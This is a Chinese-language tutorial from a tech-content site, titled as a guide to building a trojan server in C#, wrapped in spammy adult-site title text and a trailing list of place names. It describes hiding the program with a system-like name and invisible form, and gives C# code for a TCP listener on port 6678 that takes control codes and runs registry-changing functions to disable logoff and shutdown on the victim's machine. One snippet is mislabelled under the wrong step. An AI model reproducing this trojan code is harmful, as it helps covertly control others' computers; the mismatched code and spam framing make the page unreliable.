91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用C#實現木馬服務程序

發布時間:2021-06-16 14:54:02 來源:億速云 閱讀:160 作者:chen 欄目:編程語言

這篇文章主要講解了“如何利用C#實現木馬服務程序”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“如何利用C#實現木馬服務程序”吧!

服務端的開發:

要C#實現木馬服務程序,主要實現以下幾個功能:后臺的運行(隱藏技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:

1、在VC#中,建立一個后臺服務程序是很容易的

先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱藏可使用與系統相近的名稱),將窗體屬性“ShowInTaskbar”屬性設為false,讓它運行時不會在任務欄中顯示,并將屬性“Windowstate”屬性設為 Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:

// System.EventArgs包含事件數據類的基類  private void button7_Click(object sender, System.EventArgs e)  {  //記錄操作,在richTextBox控件中增加操作信息  richTextBox1.AppendText("請求連接" +textBox1.Text +" ");  int port =6678;  try  {  //初始化 TcpClient 類的新實例并連接到指定主機上的指定端口  client = new TcpClient(textBox1.Text,port);  }  catch  {  MessageBox.Show("服務器不在線!確定是否輸入主機名稱.");  richTextBox1.AppendText("服務器不在線!確定是否輸入主機名稱.");  }  }

2、控制代碼的接收

必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼注解如下:

public Form1() //窗體的構造函數  {  //  // Windows 窗體設計器支持所必需的  //  InitializeComponent();  //  // TODO: 在 InitializeComponent 調用后添加任何構造函數代碼  //加入你的偵聽代碼  //端口你可以自已設定,我使用了固定的端口  int port =6678;  //System.Net.Sockets.TcpListener是用來在Tcp網絡中偵聽客戶端的  listener = new TcpListener(port);  //啟動偵聽  listener.Start();  //增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()  //reControlCode 是線程啟動執行的函數,此函數根據接收的控制  //控制碼選取合適的注冊表修改函數  Thread thread = new Thread(new ThreadStart(reControlCode));  thread.Start();  }  reControlCode函數如下,完整代碼見程序  private void reControlCode()  {  //設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求  socket = listener.AcceptSocket();  //如果連接成功執行  while (socket.Connected)  {  //接收控制碼  byte [] by =new byte[6];  int i = socket.Receive(by,by.Length ,0);  string ss = System.Text.Encoding.ASCII.GetString(by);  //根據控制碼執行不同的功能   //修改注冊表加入編碼  switch (ss)  {  case "jiance"://測試連接,返回測試信息  string str ="hjc";  byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);  socket.Send(bytee,0,bytee.Length,0);  break;  case "zx1000":  //修改注冊表函數,自已定義,見下面分析  UnLogOff();  //返回控制消息  retMessage();  break;   case "zx0100":  //修改注冊表函數  UnClose();  //返回控制消息  retMessage();  break;  //重復的case功能與前面一樣,略掉  default:  break;  }//case  }//while  } //private void reControlCode

3、C#中實現注冊表的修改

使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。

感謝各位的閱讀,以上就是“如何利用C#實現木馬服務程序”的內容了,經過本文的學習后,相信大家對如何利用C#實現木馬服務程序這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

庆城县| 固镇县| 岚皋县| 土默特左旗| 沅江市| 邓州市| 海原县| 仁化县| 新民市| 盐亭县| 吉木萨尔县| 台江县| 怀安县| 舞阳县| 西和县| 离岛区| 鹿泉市| 静乐县| 浮梁县| 分宜县| 义马市| 寿光市| 岑巩县| 郴州市| 山东省| 铜陵市| 吐鲁番市| 新昌县| 天台县| 湾仔区| 英吉沙县| 天祝| 临朐县| 延津县| 新平| 汕头市| 丰镇市| 雅江县| 克东县| 林周县| 广河县|